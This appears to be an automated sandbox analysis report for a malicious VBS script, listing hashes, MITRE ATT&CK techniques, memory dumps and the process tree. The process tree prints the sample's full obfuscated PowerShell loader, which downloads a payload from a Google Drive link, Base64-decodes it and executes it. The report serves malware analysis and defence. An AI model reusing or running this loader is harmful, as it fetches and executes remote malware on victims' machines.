dd6342fe6aad393a8095cb0e7bda7835ad3712dd08659a73d33b94c4e6c89ac5

General

Target

dd6342fe6aad393a8095cb0e7bda7835ad3712dd08659a73d33b94c4e6c89ac5.vbs
Size

15KB
MD5

e9f75429771eea5902e035d06ace97a5
SHA1

4b0aa7016f426a2908ba3688e5b43a34c549e1f7
SHA256

dd6342fe6aad393a8095cb0e7bda7835ad3712dd08659a73d33b94c4e6c89ac5
SHA512

87007d2d712689b38bae910bd2463eef273d97d91f3a0efdd7e3885c03423ad327077369ebca1db533b94eaf2897f1421784f424899e7f7cbdfce69972b29b59
SSDEEP

384:kps7AWHH16GDlyqx2rmaTb9b+AuXJW4Bi+QyX84+wBLjlcDfu8LU0lfdFd1ksHDH:kps7AWHH16GDlyqx2rmaTb9b+AuXJW4k

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2176	powershell.exe
8	2176	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1204	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2176	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2176	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2084 wrote to memory of 1768	2084	WScript.exe	28
PID 2084 wrote to memory of 1768	2084	WScript.exe	28
PID 2084 wrote to memory of 1768	2084	WScript.exe	28
PID 1768 wrote to memory of 1204	1768	cmd.exe	30
PID 1768 wrote to memory of 1204	1768	cmd.exe	30
PID 1768 wrote to memory of 1204	1768	cmd.exe	30
PID 2084 wrote to memory of 2176	2084	WScript.exe	31
PID 2084 wrote to memory of 2176	2084	WScript.exe	31
PID 2084 wrote to memory of 2176	2084	WScript.exe	31
PID 2176 wrote to memory of 2892	2176	powershell.exe	33
PID 2176 wrote to memory of 2892	2176	powershell.exe	33
PID 2176 wrote to memory of 2892	2176	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dd6342fe6aad393a8095cb0e7bda7835ad3712dd08659a73d33b94c4e6c89ac5.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2084
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping 6777.6777.6777.677e
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\PING.EXE
    ping 6777.6777.6777.677e
    3⤵
    - Runs ping.exe
    PID:1204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Sonanter = 1;$Jonnick184='Sub';$Jonnick184+='strin';$Jonnick184+='g';Function Frontlukket($Lollardist){$Chiccory70=$Lollardist.Length-$Sonanter;For($Haunted=7;$Haunted -lt $Chiccory70;$Haunted+=8){$Similiet30+=$Lollardist.$Jonnick184.Invoke( $Haunted, $Sonanter);}$Similiet30;}function Startskuddets($Insolvensbehandlings){&($Ufornuftigt) ($Insolvensbehandlings);}$Rappen=Frontlukket 'centrerMHaandfsoUnartfuzSkarkseiFra,lbyl Cana.ilBast,ntaS.ddans/Vastily5Midlert.Louchin0Origeni Unbeda(Sreg,nhW Ju.efeiGlasaalnSyningedPhyllacoP,loniuwse ittesTipstje iaisreN AridudT Boehmi Ap,arte1Horse y0 Spdere.Eegbry.0 S ngle;Met sym ObligatWCansoseiNiblicknTi sflg6Afrette4La.ngiv;Urdeesk DiskettxKlinger6Heresio4Undi.fe;Undersk oldtgtrO iginav.killio: aandva1Bevilli2Blodtyp1Sy,ygie. Faktur0Stavede)Absurdi Nonp,tGBaroksteHer,esocK.abbemkOxylabro lupga/Int.rda2La,mest0radiuse1humidl,0 Ca ico0Prorate1Macules0Hypertr1 Vrdian Toppl,cF Spr.yei,nathemrTarlataeDewlappfForbigaoCapistrxUafhngi/Indsnkn1Corusca2Lntager1algerie.F,mmesl0Schchtn ';$Subpredicate=Frontlukket 'MorfiniUAndensgs Lubbere temmerrProjek,-D.vlehoAJesu,trgObv,atoeDelinqun bevorstDefeatm ';$Bejdsningerne=Frontlukket 'Hotbedch Lill,btCh,bsfotD spachp andausGenkend: Ge,for/ Postnu/Chelingd ienerrGame eciFresiaevEccentreL.llipu.UndissogOreodonoAlismacoDueligegSkarlaglRepelafe Valla..Ballon cnickiesoSlg.snamPatenci/Ung,ltbuTomatssc Enker,? Sc,ewse exha,exSkrubsapCounte,o SubextrTextiletVarigst=AnglisedGrifledoBedrevrwStrivennsnedkkel Anfgteo Adelska Bloodsd Microc&SquirreiBlth,vedM lerku= Slathe1Handin o Pol.sp1 Anlgsan.uldtido.jsommeePseudogHFunktioG Melle.g EkspekFTraekistV rsifi6 Probos2S gnalb8Pennybi2ReservejEgomaniSRata,krdBiopsie2Syphilih ZazasuT UncompTNoninf 1Metamo g forbinWGymnas,4s.rfaceSNonfavoBRe,viem3makopabKMar,iteRFo.purryTissuelhRedries ';$fulgoroidea=Frontlukket 'Poww,wi>ileocol ';$Ufornuftigt=Frontlukket 'Ra quetiUrbanoseUnpro ixFlagell ';$Udemiljs='Precomputers';$metasomatic = Frontlukket 'SpndholeFiltendc paketbhMoulag o.uldkom Tricot,%OutpageamouldinpFred.kopNgenbildInterroaSlattintUdlandsaGrundru% .edenn\CoastedFMe ningo Veratrr PissegeTiggendh ,yrebre edligeaUndersarGoldhamtkompetehBygning.EksaltaCPyra,idySkolerybxeno,au Termino&Sustena&navnefl Aarel.deSkyggelcMik,oskhHypochnoTrykl,a PermutatCircums ';Startskuddets (Frontlukket 'Srkene $OnenklagSkraldgl Landzoo Digre,b LingulasoleusilGtepagt:TvegedeLUnfumediDivisionAdressej Fras,ge Overkrmanekdote Stiknilcanu.atl PacifieAbysse.mMercerirzizitdruIscenesmbillettmArrest,eStille.n Re,oiseDobbe,tsCecidom=Rosvrdi( Sl.fencSvrlemmm Triumvd Remani Udpakk/Dobbeltc Und,rg V,kerne$AmylogemNonsubjeAbdicattSuperala PolymnsconsubsoUdlsernmAfgrnsnaDovendytSynkreti Sno esc Cribbl)Sende u ');Startskuddets (Frontlukket 'Privine$TjekkisgFo,ladelPol,riso RatstabHindoo.aKlippehlTricket:TracheiUDisc pln Fje nts ,utlertDri.leni CecchifLethallfOverbuslDo,nsityGevrild=Tur,eld$ChudestBNonlitee ,rankijPr.oritdTelefonsNonsuccnAsbe,teiPkwyintnEfte,begEssayiseVidervrrpythononFicti eeMaryams. VulpecsOverflapSemiticlUkrnkeliKaolinstTestuds(Uhaandg$EndurobfPterodauUforbehlA,rikang TrbeskoCyclin,rPetromyo AcolytinondeprdIhndehaePri,talaHarteno)Non.ila ');$Bejdsningerne=$Unstiffly[0];$Indersides= (Frontlukket 'Buskpla$ StatsagA rappolChev sao Si,ewibSa,itaraAnkomstlsna ine: roconfWMedfrenh,ightelaBakspejmForeta,=RingvejNDepredaeMed,lisw Antire- andeltOAfbagnibFlks,gtjclowregeEngoldacHvalrostWearabl Be,rownSbirchenyBrn,parsAlle,omtNonmytheVertimemDoyleys.JurisprN Reim reBru.alitHelhed,. AalborWGaaen.eePosse,sbTangunpCC talonlChitteriNono aqeFo,eninn No.jurt');$Indersides+=$Linjemellemrummenes[1];Startskuddets ($Indersides);Startskuddets (Frontlukket ',nydebl$InsubmiWRealkrehStedbesaDiskontmSewer n.GisnligHsettledeudtrakdaSkelettdmisopaeeLong.igrBed.temsPlatitu[tattoos$phosgenSUds,ndeuAnneksrbaandsfrpBredbaarMrkh.areBespottdAbsurdiibotchy cPoliti a ommunitElf,orteAlfrida]Tyroles= Geru,r$Nephel,RKronraga lansfrp RostenpRundseneStengulnBadefor ');$Forvises=Frontlukket 'S errit$ BlomstWDeftlysh RoadabaAndroidmparfo,h. isoperDQuad isoFormletwOverpren.etshanlkrrerskoRecont,a Ratak,dKdfod.rFStyrekoiUkunstnlDefensoeFlelses(Yau ers$afbl,deBdehonesejosephijPutidnedK.ponklsS,ealtan RykkesiPaternonungeltggUnscieneAlting.r Han esnSynskreehybenet,Vildest$ Bort.eF An,eroiUndervidHrelr nupr.letacMiddag.iCudweeda Frigotl,bsprisl Chittay.jldnef)Spo,gio ';$Fiducially=$Linjemellemrummenes[0];Startskuddets (Frontlukket 'Beredel$PomeyspgBuoyanclFlagssaoLededesb Boged aBuibuimlNonspil:Spr,tepFInternoo RegripuTestkrsrUdhamresEmp.reucSil eabo BolsherStavefeeAplombe= Svrhed( Pa.atrTFlappi eSa,vifisValnddetP,llini-musimonPRaviol.a Mo.ogytSheitanhIldsjle Svaberg$antikviFMoerithiBu.hierdUnwhimsuHamburgcunderviiUncoaguaUmestell AutodklRe llnsy Bisisc),ptmejs ');while (!$Fourscore) {Startskuddets (Frontlukket 'Blindma$DuttenegFeudatolBlatheroBurbotmbForhjniaGrupposl piritu:AnalyseKPraemu m Bodicep,rgekldeSpotma,mFond,egsUrf,eldsHautboyiRidott,gLirellatSkraane=Synangi$ AdmonftOb,ervarTromleruRadiumseBerendo ') ;Startskuddets $Forvises;Startskuddets (Frontlukket ' TrivseSSubservtKastergaFireboarUntapertris,rbr-PaneldeSWindasil Me.apheIncorrieSegnosspl,eched Screelb4runknep ');Startskuddets (Frontlukket 'sekstma$.ldesvegHexokinlSw,thsto JankerbDiarrhoaRech cklf rvrel:Patc erFCatchieo FagmssuAuctio,rPiezocrs ,etrancskak atoingestararbejdseGtehust=Knoldbe(fis,uryTSimiadseKanaralsRei smatMarsson-Prose.yPAsnernea Enda stbersr.shRundsav Lako i$Affra.nFCiceroniEnvejskd,rikloruSemimancBurrowei OverslamelvieclVeratralstick,by.entnin)Beigefa ') ;Startskuddets (Frontlukket 'Levende$LithofegAltfortlNotioneo ,evertbMustarda IndvillPopulra:Telem kD Ride.tmTorde rt Sik.ereGennemfs,ernvrk1Grundgr1Fyrende3Dagdriv=Choksta$SiddebagLunarhelPita.ako LogikkbTiaarspa ,ndlbul D.nota:FoistedROmnipereUin,tagk Mi aebrKo,sulteSubteeneAkkvisir DiskoneNosedivn LagosadFngselseTubercus defere+tricyke+ belemr%Unwarra$ SubporUBlam,renTngermosAp rthetFlibberi FormidfSvartsif Fladpal Lo.aliy Megasc. AccelecProgramoIncommuuAmtskomn O.stndt Frazel ') ;$Bejdsningerne=$Unstiffly[$Dmtes113];}$Rindy=344313;$Uvsenets=30291;Startskuddets (Frontlukket 'acquain$ .olonigPfiz.rsl Vites.o StadigbNstversaKinetoglUde ilj: HalpnaAClawhamr I radis DomiciiToskillnExcandeiNaturalcParuria Spanier=Svovldi MoviegoGInesca,eImputret Miswre- merismC StraffoUdjvninnTillemptStegepoeFlavo rn Fritagt Hydrob Vbnere$SprogrgF,hrinkaiInt,ansd SandsyuRansagncar iereiBa.lonsaSponsorlStivenslMonethayMahogan ');Startskuddets (Frontlukket ' e.tomo$La.ghtegBilforslIldhubeo iametrb GldelsasuavermlCareful:BathrobwAreologr Yvereta,pithaliNicotinnB.otlics Cylindtpolitbua.ovedrev FundameOvera.c Bef ppe=poetlik Undepic[PlanmssSMisercly AtomvasKannev tSpontaneLikestim Thyr o.FravashCA.badido PlatycnKalendevpasteure Produkr besl gt,andyst]Spruike:Caseind: Chagr.FHamskifrNarkotioFer,elimRefe.enBAntiliba frdigusStarktleTankvog6Ma,uche4Casan.vSDissemitE.etrerrUdsonetiPs udopnPa.oramgCrusade(Snversy$Semip gARastlekrUngarnssKommandiHomesicn,nagetsiSa,mendcMetalum)Knebled ');Startskuddets (Frontlukket 'Vis.enp$Chewi,kgCresce lFavoritoInval dbDepo,ita MiniatlCan erw:StrmpefBU bitmieWinsomelpratil,a Svr.ervSynk ryeKamfertnfagkonsd Bittinetrachea Seroot=Kafet,a A.bejde[ TimpanSCi atioySi,harasTreei etV.cissieHeadwormP.eutil.Prefic TA,ocatoeShrinkpxKvator.tProne,r.TilbageE.ermaphnAphoriscMedgrlioForeigndmantisii Sub omnEksa engSpringt]Superim:Synecd :MainlinAVraalesS aaeresC onidioIGynanthIdefangs.W.eateaG stenogeRdkaaletEndomecS Video.tHoarkryrSlavofiiUnderkrnTetramegOtate.o(M difca$ Alsy ewG tearbr BiorytaBeskrmeiUtiliz.nSonarmasAdminist danaidaFlydevgvHilumuteRoundes)overgr. ');Startskuddets (Frontlukket ' Uddiff$KarossfgatabalglTubi looSl,tysubDrhamreaRheu.atlDaemony: KultivRO teomaeKlynkerkOpgrelsoPho ophnsl mpakv RdehavaLavemenluncran,eSpokings MomsercH.terodeMou tacn ErlggetBedenethSlfangej etraceFladvvem SkandesAnnonce1Resteri5Sneerer=.idespr$ForurolB,anktbeeDampvaslSingapoaHeliolav Disin.eAfhornenDvblinddK.nfituePreinse.DublantsAesculauCorantobMaumetrsConni atmeasurirStorhjei NautilnSelvbetg Skygge(Mellemr$triv.enRGeomorpiKo fliknNerviisdMoskm,ly Cove,t,Magtfak$.neluctU erberuvBjer.lasProrogueBi kerenKradsbueWoofingtRun bousBiometr)Jeanett ');Startskuddets $Rekonvalescenthjems15;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Forehearth.Cyb && echo t"
    3⤵
    PID:2892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2176-4-0x000007FEF59BE000-0x000007FEF59BF000-memory.dmp

Filesize
4KB

Download
memory/2176-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2176-6-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2176-7-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-8-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-9-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-10-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-11-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download
memory/2176-14-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing